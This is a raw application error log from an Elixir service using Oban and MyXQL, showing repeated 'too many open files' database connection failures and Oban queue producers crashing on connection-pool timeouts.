[Sun Sep  6 00:28:59.176000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:28:46.239992Z], limit: 50, uuid: "1f089ac1-c96b-4486-bb1e-800f513ef311", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:46.239998Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62450>, refresh_timer: #Reference<0.2525715032.1068498948.62440>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:28:46.241112Z], limit: 5, uuid: "5849ee58-74da-4fea-a1e5-f6a862abefee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:46.241118Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192510>, refresh_timer: #Reference<0.2525715032.1099431938.59851>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:28:46.240157Z], limit: 3, uuid: "1c6cb02f-1f47-4dbd-826d-42d068b5c73b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:46.240162Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192511>, refresh_timer: #Reference<0.2525715032.1068498948.62448>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:28:46.242107Z], limit: 10, uuid: "807389a1-c71b-411b-8718-632f177927de", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:46.242112Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192508>, refresh_timer: #Reference<0.2525715032.1121189889.192500>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:28:46.241556Z], limit: 5, uuid: "34103cdf-8aff-4958-b6c1-9e87f06a6401", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:46.241562Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192509>, refresh_timer: #Reference<0.2525715032.1099431938.59853>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:28:46.238597Z], limit: 20, uuid: "b0f6da35-c9b5-430b-97f2-c737e7599ff4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:46.238604Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62449>, refresh_timer: #Reference<0.2525715032.1068498948.62424>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:00.324000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:02.258000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:05.452000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:07.734000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:09.175000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:09.323000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:10.175000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:28:59.239287Z], limit: 3, uuid: "9ba8fe05-e714-4309-bc0a-3543e3257f10", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:59.239292Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59902>, refresh_timer: #Reference<0.2525715032.1099431938.59901>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:28:59.240616Z], limit: 20, uuid: "9397d3c7-8161-42dc-83c6-fe5c17ccc06a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:59.240622Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.40267>, refresh_timer: #Reference<0.2525715032.1121189889.192963>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
